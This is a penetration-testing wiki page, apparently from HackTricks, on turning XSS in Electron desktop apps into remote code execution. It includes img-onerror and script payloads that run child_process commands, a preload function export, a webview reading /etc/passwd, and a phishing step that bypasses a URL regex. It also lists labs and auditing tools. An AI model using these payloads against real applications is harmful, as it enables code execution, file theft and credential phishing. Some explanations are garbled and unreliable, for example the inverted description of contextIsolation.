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264 lines
12 KiB
Markdown
264 lines
12 KiB
Markdown
# XSS to RCE Electron Desktop Apps
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## XSS to RCE Electron Desktop Apps
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Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.\
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You could see Electron like a local backend+frontend app where **NodeJS** is the **backend** and **chromium** is the **frontend**.
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In the source code of an Electron app, inside the `packet.json` you can find specified the `main.js` file where security configs ad set.
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```json
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{
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"name": "standard-notes",
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"main": "./app/index.js",
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```
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Electron has 2 process types:
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* Main Process (has complete access to NodeJS)
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* Renderer Process (should have NodeJS restricted access for security reasons)
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.png>)
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A **renderer process** will be a browser window loading a file:
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```javascript
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const {BrowserWindow} = require('electron');
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let win = new BrowserWindow();
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//Open Renderer Process
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win.loadURL(`file://path/to/index.html`);
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```
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Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
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The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the user’s device** and system level commands.
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* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
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* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
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* **`preload`** - empty by default.
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* **\`\`**[**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
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Example of configuration:
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```javascript
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const mainWindowOptions = {
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title: 'Discord',
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backgroundColor: getBackgroundColor(),
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width: DEFAULT_WIDTH,
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height: DEFAULT_HEIGHT,
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minWidth: MIN_WIDTH,
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minHeight: MIN_HEIGHT,
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transparent: false,
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frame: false,
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resizable: true,
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show: isVisible,
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webPreferences: {
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blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
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nodeIntegration: false,
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contextIsolation: false
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preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
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nativeWindowOpen: true,
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enableRemoteModule: false,
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spellcheck: true
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}
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};
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```
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Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration\_rce.txt):
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```html
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Example Payloads (Windows):
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<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
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Example Payloads (Linux & MacOS):
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<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
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<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
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<img src=x onerror="alert(require('child_process').execSync('id').toString());">
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<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
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<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
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```
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### RCE: XSS + nodeIntegration
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If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
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```html
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<script>
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require('child_process').exec('calc');
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</script>
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```
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### RCE: preload
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The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
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```javascript
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new BrowserWindow{
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webPreferences: {
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nodeIntegration: false,
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preload: _path2.default.join(__dirname, 'perload.js'),
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}
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});
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```
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Therefore, the script can export node-features to pages:
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{% code title="preload.js" %}
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```javascript
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typeof require === 'function';
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window.runCalc = function(){
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require('child_process').exec('calc')
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};
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```
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{% endcode %}
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{% code title="index.html" %}
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```html
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<body>
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<script>
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typeof require === 'undefined';
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runCalc();
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</script>
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</body>
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```
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{% endcode %}
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{% hint style="info" %}
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**If `contextIsolation` is on, this won't work**
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{% endhint %}
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### RCE: XSS + contextIsolation
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The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
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If the contexts aren't isolated an attacker can:
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1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
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2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
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3. **Trigger** the use of **overwritten function**
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4. RCE?
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There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
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{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
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[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
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{% endcontent-ref %}
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{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
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[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
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{% endcontent-ref %}
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{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
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[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
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{% endcontent-ref %}
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#### Bypass click event
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If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
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```javascript
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window.addEventListener('click', (e) => {
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```
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### Read Internal Files: XSS + contextIsolation
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If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> but can load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
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### **XSS Phishing via Internal URL regex bypass**
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Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
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First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
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```javascript
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webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
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webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
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```
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The call to \*\* `openInternally`\*\* will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
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In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
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```html
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<script>
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window.open("<http://subdomainagoogleq.com/index.html>")
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</script>
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```
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### **Tools**
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* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
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* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) \*\*\*\* is an open source VS Code plugin for Electron applications that uses Electronegativity.
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### Labs
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In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps.
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Some commands that will help you will the lab:
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```bash
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# Download apps from these URls
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## Vuln to nodeIntegration
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
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## Vuln to contextIsolation via preload script
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
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## Vuln to IPC Rce
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
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# Get inside the electron app and check for vulnerabilities
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npm audit
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# How to use electronegativity
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npm install @doyensec/electronegativity -g
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electronegativity -i vulnerable1
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# Run an application from source code
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npm install -g electron
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cd vulnerable1
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npm install
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npm start
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```
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### **References**
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* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
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* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
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* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
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* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
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* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
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* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
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||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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